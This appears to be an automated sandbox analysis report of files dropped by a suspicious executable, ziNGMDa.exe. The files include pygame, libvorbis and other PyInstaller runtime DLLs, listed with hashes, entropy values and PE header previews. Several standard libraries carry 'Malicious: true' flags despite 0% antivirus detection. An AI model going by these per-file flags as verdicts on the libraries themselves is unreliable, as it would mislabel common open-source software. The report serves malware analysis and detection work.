SHA1:	DC3B7F7FC0D9056AF370E06F1451A65E77FF07F7
SHA-256:	EBFE97AC5EF26B94945AF3DB5FFD110A4B8E92DC02559BF81CCB33F0D5EBCE95
SHA-512:	5A195E3123F7F17D92B7ECA46B9AFA1EA600623AD6929AC29197447BB4D474A068FD5F61FCA6731A60514125D3B0B2CAFE1FF6BE3A0161251A366355B660D61A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...........................b.............................................. .........................................!.......0...............................................................(...................@................................text...`........................... .P`.data..../.......0..................@.`..rdata...:...@...<...0..............@.`@.bss..................................`..edata..!............l..............@.0@.idata..0...........................@.0..CRT....X...........................@.@..tls....P...........................@.`..reloc..............................@.0B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbis-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	251904
Entropy (8bit):	6.60399887409082
Encrypted:	false
SSDEEP:	3072:sSvLhqJIVDIPblol7Vfl0PkeXwPhsTplUBbwcM6qI5UpPfmI9RtXjiO:sSkMhd08eAebmW/wUJuQRJ+O
MD5:	7B12B6881E95378A47F60E30B2AADE6D
SHA1:	0EBFE9CA976418324D16E2CC5D56CDBB72AAC2AF
SHA-256:	6A7D759176CB9B4EB8A7481C553386DC29814887295312D4AF6441EAB6D62DA7
SHA-512:	25808CCEB589DBEF89A0AF447BFF503D6E081100AB6F251113E2596BC5153293272F554B7C687EEF6B1789126B6868F651E908169A93D7A87870B1F9EB143D3A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........D................Tm.............................P................ .........................................E....... ............................@.............................. 0..(.......................p............................text............................... .P`.data...............................@.P..rdata..............................@.`@.pdata..............................@.0@.xdata..@...........................@.0@.bss....`.............................`..edata..E...........................@.0@.idata.. ...........................@.0..CRT....X.... ......................@.@..tls....h....0......................@.`..reloc.......@......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbisfile-3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	6.14064919237034
Encrypted:	false
SSDEEP:	1536:HgNBmGFmvoXM+NGo/LXDjrG/R2/ig5oNfMyffECHVMPYP9:k1F3/sROi9NfVUC6P+
MD5:	EE01DE3F148B0912B88D79D6B34AE3D1
SHA1:	84F3F0F2F6BDDFA143FC7D2028C55FBD31AAB453
SHA-256:	0D785F8282E6C0389FC6BF11D18C1765352F62511346B2F46AE11B741379B6ED
SHA-512:	4064072103D7058A3955AC93F04B5828109085BE73C6A6AC44B2DFAFE869B68FE310F72E89A9F0D52F0568C8B8E34A70B1696B97505CC8B9D2B396775ED4B3DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".........:................<k.....................................-........ ......................................P.......`..................................l........................... ...(....................c..@............................text...@........................... .P`.data...............................@.P..rdata..@...........................@.`@.pdata..............................@.0@.xdata..4.... ......................@.0@.bss....P....0........................`..edata.......P......................@.0@.idata.......`......................@.0..CRT....X....p......................@.@..tls....h...........................@.`..reloc..l...........................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\libwebp-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	447488
Entropy (8bit):	6.510802516868649
Encrypted:	false
SSDEEP:	6144:t2lROjMXfhVy+tEZzshykv2SxgQceWni1UC2JCsJ5zIGWexIaZOovMPVt9ACB/1O:JMtVykiiiCsJdpxIaZOokPVtW
MD5:	2C5ACA898FF88EB2C9028BBEEFEBBD1E
SHA1:	7A0048674EF614BEBE6CC83B1228D670372076C9
SHA-256:	9A53563B6058F70F2725029B7DD2FE96F869C20E8090031CD303E994DFE07B50
SHA-512:	46FE8B151E3A13AB506C4FC8A9F3F0F47B21F64F37097A4F1F573B547443ED23E7B2F489807C1623FBC41015F7DA11665D88690D8CD0DDD61AA53789586C5A13
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."..........................a.............................p......@......... ..........................................:...0..4............P..8+...........`.............................. P..(....................2...............................text...............................`.P`.data...P...........................@.`..rdata..`...........................@.`@.pdata..8+...P...,.................@.0@.xdata...1.......2...V..............@.0@.bss....x(............................`..edata...:.......<..................@.0@.idata..4....0......................@.0..CRT....X....@......................@.@..tls....h....P......................@.`..reloc.......`......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\portmidi.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	41984
Entropy (8bit):	5.627922896649414
Encrypted:	false
SSDEEP:	384:GZBiKpE2uNn13biY3zlwbRk5pDrXdJx+CxY0IF5ETUhYF3STo0Mte4TxL1e1/s7e:MrbELdnDrtJzghYF494Zp0Vr
MD5:	DF538704B8CD0B40096F009FD5D1B767
SHA1:	D2399FBB69D237D43624E987445694EC7E0B8615
SHA-256:	C9F8D9043AC1570B10F104F2D00AEC791F56261C84EE40773BE73D0A3822E013
SHA-512:	408DE3E99BC1BFB5B10E58AE621C0F9276530913FF26256135FE44CE78016DE274CBE4C3E967457EB71870AAD34DFEB362058AFCEBFA2D9E64F05604AB1517D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....h.....................j............................. ......hj........ .........................................@.......T........................................................... ...(....................................................text....f.......h..................`.P`.data................l..............@.p..rdata..P............n..............@.P@.pdata...............\|..............@.0@.xdata..............................@.0@.bss....0.............................p..edata..@...........................@.0@.idata..T...........................@.0..CRT....X...........................@.@..tls....h...........................@.`..reloc..............................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	192400
Entropy (8bit):	6.331661708582381
Encrypted:	false
SSDEEP:	3072:7UV1H8t//ZpdhxqMO2lr9JuB9OSH4ZCXRfWiTayyTvfvaycv0XOgeEnnRPcsR+2U:yVG/Ddh5r9JuB0SDfV9yTvfvx+Zj
MD5:	F3630FA0CA9CB85BFC865D00EF71F0AA
SHA1:	F176FDB823417ABEB54DAED210CF0BA3B6E02769
SHA-256:	AC1DFB6CDEEADBC386DBD1AFDDA4D25BA5B9B43A47C97302830D95E2A7F2D056
SHA-512:	B8472A69000108D462940F4D2B5A611E00D630DF1F8D6041BE4F7B05A9FD9F8E8AA5DE5FE880323569AC1B6857A09B7B9D27B3268D2A83A81007D94A8B8DA0FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B.J.B.J.B.J.::J.B.J.7.K.B.J.7.K.B.J.7.K.B.J.7.K.B.J57.K.B.J\0.K.B.J.B.J.B.J57.K.B.J57.K.B.J57VJ.B.J57.K.B.JRich.B.J................PE..d....y.a.........." ................p................................................8....`.............................................P...P........................................4..T...........................P5..8............ ...............................text............................... ..`.rdata..\|.... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\_freetype.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	78336
Entropy (8bit):	6.206995517059479
Encrypted:	false
SSDEEP:	1536:AJgG4n2/+JT55r+bzUFKcY4FHQ006Pm80C26sbcdtebUByvQ1pMUjqmbxld:ogfn2/b2jY4FH306PmI26sbcdtebUBy0
MD5:	BB49C67DFFDB44ED93D4571DA7835CF9
SHA1:	E2AACD338188E0432B2FE29E349E7CB5FFAF65AC
SHA-256:	D7E64B2B5F1395239622627FE86DC94C7A3144C5D84D3C7654DCC5A0F9B6C913
SHA-512:	9A9E138F51AECD99EEBE5D2028B92B20FC02D6B1A656111ECA1BBA4DCF8C54F5C8D6DE0858AD9180C027C234B201FE9EE8B416330C2DA88A9A4F72CA554CF9C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{..Y...Y...Y...Pbh._...bD..[....r..[...bD..[...bD..R...bD..S....o..[....D..[....o..Z...Y........D..^....D..X....D..X....D..X...RichY...................PE..d....@.a.........." .........~............................................................`.............................................d...t........p.......P..d....................................................................................................text............................... ..`.rdata..zV.......X..................@..@.data...p....0......................@....pdata..d....P......................@..@.gfids.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\base.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	5.592697054631528
Encrypted:	false
SSDEEP:	384:j459MsXwNYbNqTiX77CXed+aoAN7zPGPpXpjONC2y29uMzBR3YzJw0vKsOlA4dQc:jKMwAu1Qh2yRqHJyGo4DluzOoR0
MD5:	1F8982461C8A96F7C6E9B136C749AF1D
SHA1:	19FB4087B899A268305E15276B517C41E0B6BC54
SHA-256:	A179ACF4664CCB43B8706E8240EDF280800441293B2AA946914F6D61DDCB68E4
SHA-512:	0B5952E1E091B2F7DE1F1C8317DE9B4263369836B3E14AB5E2BED05C90DA124FD0557B4D565C2856E6DA938D3D11147E4245514F2B4F5810F7C47B8DB4B287B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........^..0..0..0......0...1..0...1..0...3..0...5..0...4..0.r.1..0...1..0..1...0.v.8..0.v.0..0.U....0.v.2..0.Rich.0.........PE..d....@.a.........." .....>...<.......@....................................................`.........................................Pg..X....g..................................d....^...............................^...............P..p............................text....<.......>.................. ..`.rdata..^$...P...&...B..............@..@.data................h..............@....pdata...............l..............@..@.gfids...............r..............@..@.rsrc................t..............@..@.reloc..d............v..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\bufferproxy.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	5.137394773265239
Encrypted:	false
SSDEEP:	384:iCCaACbw/TPKlNJELh3Ed5R+L80pLoIBb1jMcM1S7ChC:/Ca3z6lHYO3pU1Se
MD5:	9E70EE230E13555AA43BC7912F1C3312
SHA1:	8C082EA848728BFE8A90977CD70996ACB283CB80
SHA-256:	C0AB0C663B5C33F45E90D59033F40E9A9622CD6F3F30952467D31FF65CEB0F85
SHA-512:	5056D1680B900B36F794F5A997FD3F56C21217894287BB63BFA17ABEE11436325CADDE96ADB0D87A5F7804820B19B697B6316FFD7C58532069B805E09698BEFD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."..".."..ZK."..\|.."...J.."..\|.."..\|.."..\|.."..6W..".."..."..2\|.."..2\|.."...\|'."..2\|.."..Rich."..........................PE..d....@.a.........." .........,......0!....................................................`..........................................<..h...X=..d............`..H...............l...P7..............................p7...............0.. ............................text...#........................... ..`.rdata.......0......."..............@..@.data...x....P.......8..............@....pdata..H....`.......>..............@..@.gfids.......p.......B..............@..@.rsrc................D..............@..@.reloc..l............F..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\color.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35328
Entropy (8bit):	5.763864017929497
Encrypted:	false
SSDEEP:	768:jdjB6fKe9KYBrK+Tais8zg9CEr9tlCNG:h96fKYHFK+m99tUN
MD5:	6D6F2201D282273A0D5D61BFC519BB0C
SHA1:	A840EC672297136517E7FC470625A878F4108F6B
SHA-256:	BC91295FDE1A9C475F436242A2457003C29111533C8398C0C538CFCA9B5E313C
SHA-512:	3D27B913E8213FBE82D61C8B034FF5E4355CFB9331697D452CCD27ADF6D6D882E2E478476638D8D864A8100281FD14CB3FC09AA3731A083309CA5DB47A646316
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y.V.8...8...8...@B..8...f...8...P...8...f...8...f...8...f...8...M...8...8...8...f...8...f...8..1f...8...f...8..Rich.8..........................PE..d....@.a.........." .....J...B.......M....................................................`..........................................y..\....y......................................`m...............................m...............`...............................text....I.......J.................. ..`.rdata...%...`...&...N..............@..@.data................t..............@....pdata...............\|..............@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\constants.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.2778839498998495
Encrypted:	false
SSDEEP:	768:YfMNqXybyFyBSMsfhf1uRU536Ks9LRfkZNO/VyEIc7taN38e:PNqXybysBTSf1CUEXFIc7taNP
MD5:	8F83B35A26E0072A3E557A3DC360CBE5
SHA1:	740062D848F1FD9415E86E114563C8FF0E86BA23
SHA-256:	C3A9B51060CB7CCC57410D1195CEED93088FA29E74073CE2804606A5432DCC57
SHA-512:	AA829A539436D49AC2AE7866B00EFB8FC7DC5022D40247659FDCF8953C559B596DF4C92C0AF5AF90734F68C627CBF7B75BEECDE37C61A41B8EF01591A3041B2B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e...............................................4............0......0.............0......Rich....................PE..d....@.a.........." .........>......`........................................ ............`.............................................d...$...d...............................0...0...............................P...................@............................text.............................. ..`.rdata..6-..........................@..@.data...............................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..0...........................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\display.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	5.759266942564531
Encrypted:	false
SSDEEP:	768:47W79ZT/E1+A83046l39c8hPOHTQocJh1Jnqr408pR:F7j/E8P3UlNpOTmhvo5w
MD5:	56226462579DDC964A54FC6177166394
SHA1:	6C188702448D8FFB50EF81813753815A4983941B
SHA-256:	FF4EF100818466AD6F71C0C1E46A4EAA425FE4C660D1834E598B91ACC7CEADCC
SHA-512:	F99BA4A3A73409246F9D3DD5611FB4050CEAD1E6A6756C7DC372E9FC0CF22E7672988CC06F26D30428F98108C386DC06819D1AAB689F6995A13800DCC275D6B3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sj..7.q.7.q.7.q.>s.?.q..Up.5.q.lcp.5.q..Ur.5.q..Ut.<.q..Uu.=.q..~p.5.q.b~p.4.q.7.p...q..Uy.6.q..Uq.6.q..U..6.q..Us.6.q.Rich7.q.........................PE..d....@.a.........." .....V...X.......Y....................................................`.............................................`............................................................................................p...............................text....T.......V.................. ..`.rdata...;...p...<...Z..............@..@.data...............................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\draw.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.098861917637203
Encrypted:	false
SSDEEP:	768:t42F2w9VsO9mA2OtWi7/ogt1kHNqV2Z4dyzvWRRAFpcw45:7EO4TAWi7/ZkHNqMQy9at
MD5:	9C1C2060C39A01346544500D4818DBF9
SHA1:	7F619BA9C69EE0AC469AA00A321E2987DCA4EDB1
SHA-256:	ACA6BEE7F4BF9498EB3104E64358EB59A6CFA037D2B143E406E08BE3A18A5A64
SHA-512:	32A60034E2D8DEEBB3192A9E491FC265ABDE6BA22FED9CAEBC955D3697BB7D47B21801A9BD6FECEAE680C5846D3EC4684DC10E9FB1BDA9D52D3DFB7528F644B1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3eyYw...w...w...~\|..q...LZ..u...,l..u...LZ..u...LZ..\|...LZ..}....q..u..."q..t...w...1....Z..v....Z..v....Z..v....Z..v...Richw...........................PE..d....@.a.........." .....~...B......0.....................................................`.........................................@...X...............................................................................................H............................text...C\|.......~.................. ..`.rdata..*&.......(..................@..@.data...............................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\event.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.63643684090706
Encrypted:	false
SSDEEP:	384:1AkmjLBYrQlZWNPb7lEZoLJaisjXcD7ojbFM2DTrfj16e6jrkfc75tNU1JDmSovM:LmBkpUoVeoofF5169joIt6FdLqrhg
MD5:	09A5F373D43BFE508AD29960FA447DB4
SHA1:	A7C3528C4F93365A67686330188B6B9109F55001
SHA-256:	C92A820E4FCDD464D947CC072BAE2EF848DCD5C57E1F04A640CF5E8B78354909
SHA-512:	F98FBC2A3EBEF1E95F10A75DC349E1881E97340952A72D3331DCBD9130AA9FF6037F544F59628A7DE6FD98D29C0D9AEA8F8350CD6D7A0477B4A70FD10EB02699
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!..^e}..e}..e}..l.w.c}..^#..g}..>...g}..^#..f}..^#..n}..^#..o}......g}..0...f}..e}...}...#..d}...#..d}...#..d}...#..d}..Riche}..........PE..d....@.a.........." .....Z...F......P\....................................................`.........................................P...\...........................................P...............................p................p...............................text....X.......Z.................. ..`.rdata..2*...p...,...^..............@..@.data...............................@....pdata..............................@..@.gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\font.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.304257857215088
Encrypted:	false
SSDEEP:	384:yLjoBgPfJDcMJ3sqwy3N3TFymoopPxYRhZIRhuhAfTNCxg6R5oApxPfOOcM1RX:yLo8eqwy9DF1P6iRhuurYR/3V1R
MD5:	CAF93424FA67A82FA2FC6B3DBA556568
SHA1:	DD8B949C45BADA6B530992F05CA3D32026D24FED
SHA-256:	B8E63ABA14C75F5F12C1B78D392DE3B8A15F9CB3A2BE650C64D4E600E8824C84
SHA-512:	5563FBE3355A61CE49DBCBC0DD22F969A8DE56FDD4D8310605575FCC21237048D903240742B5166131259BB82DBB14A08ECF317A76F11588C76D4930D823C6A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m..............R......d.......R.......R.......R......py.......t......y.............tR......tR......WR{.....tR......Rich............................PE..d....@.a.........." .....&...:...........................................................`..........................................T..X....U.......................................M...............................N...............@..0............................text...s%.......&.................. ..`.rdata...!...@...".................@..@.data........p.......L..............@....pdata...............R..............@..@.gfids...............X..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\freesansbold.ttf

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	TrueType Font data, 13 tables, 1st "GSUB", 34 names, Macintosh, Copyright 2002 Free Software Foundation.
Category:	dropped
Size (bytes):	98600
Entropy (8bit):	6.332423372065016
Encrypted:	false
SSDEEP:	1536:Q7yXisufRxl7y510jttVRZOIY3z6AWVwqNASCv8eljpcTiUjvVyL2:QeXYxW10PVrxY3z6AWVZ7Cv8eufvVA2
MD5:	5619A557E3F1614021B8B7ACBBCE62AD
SHA1:	57B7D2ADF7B6B7ADDD00E3DAECCF0B1B9551E6CB
SHA-256:	BF9251269F11E4B35582A99376096DEEE3D0C4973A459CBD97B0BEBC01F440AD
SHA-512:	A899518C976DB5088D29CDD71F2D13CD4A55459690729CFE2DB2A29B908B213F16B815A4357B47AB6AFE4684525801A12A1F1E3B651EE5668DF4DA2549BF0478
Malicious:	false
Preview:	...........PGSUB...........OS/2...p.......VcmapW...........cvt /.0H........glyfu{.....P../`head. `...4....6hhea.h....4....$hmtx.Ub...5.....kern7OS1..?...$.loca..7...c(....maxp......h4... nameJ.....hT...LpostL..]..n............".H..latn....................liga..init..medi. .......................L.b...........2.......(.........-...........O.....L.........M.....,.I.L...............?.....V...............?.....V...........................1................".P. J........PfEd.@. .......Z...c.........................................x...Z.@.....~......................._.............!.(.+...3 . . . " & 0 : D .!""."."."."`"e%............ .....................................!.(..-.3 . . . & 0 9 D .!""."."."."`"d%..................)...o.............g.e.c.`.^.A.=.7.6.5.1.R.O.N.M.J.A.9.0...T.u.r.h.a..................................................................................................................................}\|y~srg................................. !"#$%&'()+,-./0123456789:;<

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\image.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.782616491041792
Encrypted:	false
SSDEEP:	384:TaX8roCdIAz1ugPXNFhvzyVgbtsfkLcQlPG6dbxmhBhdZ5ScbN3hiFBdrcPcNT54:TRrBVFNoGscX3mHimNabnT5
MD5:	936FECFAF580A385026C37D183839371
SHA1:	03E3865070683236A1916C12AD08DA9D7060993F
SHA-256:	5982203F7D89536623EAE97415A198D5FF40F20A4EA2C496FC5222D61385D4EF
SHA-512:	70661E24F23731BD3416BD393931272774A8E794EAE35F95A17DCD53DC5AEF3CDF2D14F89401D32E110FBED7C14D79A9B8E7AD49C3923CAB4F9DD539F6183780
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0y0.t.^.t.^.t.^.}`..r.^.OF_.v.^./p_.v.^.OF].v.^.OF[.~.^.OFZ.~.^..m_.v.^.!m_.w.^.t._.$.^..FV.u.^..F^.u.^..F..u.^..F\.u.^.Richt.^.................PE..d....@.a.........." .....>...2.......A....................................................`.........................................`b..\....b..................H...............d....[...............................\...............P...............................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data...H....p.......`..............@....pdata..H............d..............@..@.gfids...............h..............@..@.rsrc................j..............@..@.reloc..d............l..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\imageext.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	5.323467316463685
Encrypted:	false
SSDEEP:	384:PClvcV3shR7L99qEJX9TS8VmBqrp22VevhzdiC6c7qzY:PKcVSRDR22Cdieq
MD5:	2236DBEB361703D1D13B9F18A9F3D49A
SHA1:	62768B5FFEB0E1E9EBD3C5139470A2656BED0ADF
SHA-256:	B247871CEE4D14B6E11D5F4D0FFCED460E1EED96CA644E5EF1BA6043B7D6EB91
SHA-512:	00DC8ACD1E94875CCC7E958C8372F5E1E993F0E95D2C69EC3F1E66D076649F99BA12E143816575395830014CBD7BB3F7F041F6FF1ABD81423B8CD8583FE79F2B
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......SS._.2...2...2...J...2..,l...2..LZ...2....C..2..,l...2..,l...2..,l...2...G...2...l...2.......2..BG...2...2..w2...l...2...l...2...l{..2...l...2..Rich.2..................PE..d....@.a.........." ....."...,......@%....................................................`..........................................L..`...0M...............p..................<....F...............................G...............@.. ............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........`.......@..............@....pdata.......p.......B..............@..@.gfids...............F..............@..@.rsrc................H..............@..@.reloc..<............J..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\joystick.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	5.261271498655132
Encrypted:	false
SSDEEP:	384:UBREUP82ELRI3YqhgJCwki2s+CibZS+qo5cMLyXD:UBREUg+oLCwkiJx+qAG
MD5:	D0AC89CDE99669D6B239C29D9AA234F6
SHA1:	F38F618D8367DAF5431915240B5D44C68CAB878D
SHA-256:	D61A16F975C2A25A00D69A7B4DEAC3D04EB5E9AA43D2660CC13357BF3A309B3A
SHA-512:	BE0BB82ACBC5795D5F09647D81DDC137A850E5BCA99DD168A6A8530549C9FF74BBDAE21265A539889F5A021DE4AFE3E10F89C9645301F03204AAB438CC313818
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(.\.F.\.F.\.F.U...^.F.g.G.^.F...G.^.F.g.E.^.F.g.C.W.F.g.B.V.F..G.^.F...G._.F.\.G...F..N.].F..F.].F....].F..D.].F.Rich\.F.........PE..d....@.a.........." ..... ...2......."....................................................`.........................................pA..`....A..x............`.......................;...............................;...............0...............................text...s........ .................. ..`.rdata.......0.......$..............@..@.data........P.......@..............@....pdata.......`.......F..............@..@.gfids.......p.......J..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\key.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	4.878944808907361
Encrypted:	false
SSDEEP:	384:ocHEjn8AO3M3B3pHCZMdFuTwgukAy4BQTScMQBYCRXoU6zmF:oRjn8m9Cw5ak4BXp6
MD5:	F1FC5C477FDB603F435F09CF30ACFF24
SHA1:	AFB5F07770A48ACA218BA96698B57D2F9D1A335C
SHA-256:	6B80F462AA7CB16FD5D56A90E3C21EDA53A976278EBC08A39A14907813D15F35
SHA-512:	A270D6FD361553B048A88D1E759C4922E2A20F820EC5D6BC4F7CA0F44B067A38972D80EC224A61E70A0713A76DC23B3F5893C2FE05BDE725E469A7042595C8F6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........[..[..[..R...Y..`...Y......Y..`...Y..`...P..`...Q....Y......X..[.......Z....Z...y.Z....Z..Rich[..........................PE..d....@.a.........." ....."...J.......%....................................................`..........................................X..X...8Y..x...............................@....S...............................S...............@..8............................text....!.......".................. ..`.rdata...!...@..."...&..............@..@.data........p.......H..............@....pdata...............\..............@..@.gfids...............`..............@..@.rsrc................b..............@..@.reloc..@............d..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mask.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	6.171927274302254
Encrypted:	false
SSDEEP:	1536:0OKiXUVzKRUzLdlaMMaAVRrajkf3uj0tZXjDEgeIMK:0OKiXUVzKRUzLdlDAVYQf/ZXjIgeIM
MD5:	157506BDD977F8EF0E1A6FC1FBA41070
SHA1:	92AC545879F9026CE46590FFE3CF65E9392AE5F5
SHA-256:	571CED4B0E99CC8F1773DE5005BB43A57EE2B379622046C9709743035B259D99
SHA-512:	977A0293FD39AE1F31FE0B7ADC9D491084A899814279657E51952C659C8810DB86A2A2A04E05E98B404CF036D5C4C3D9F80AC8EC52ABC2B4BF802D0E5A6A4369
Malicious:	true
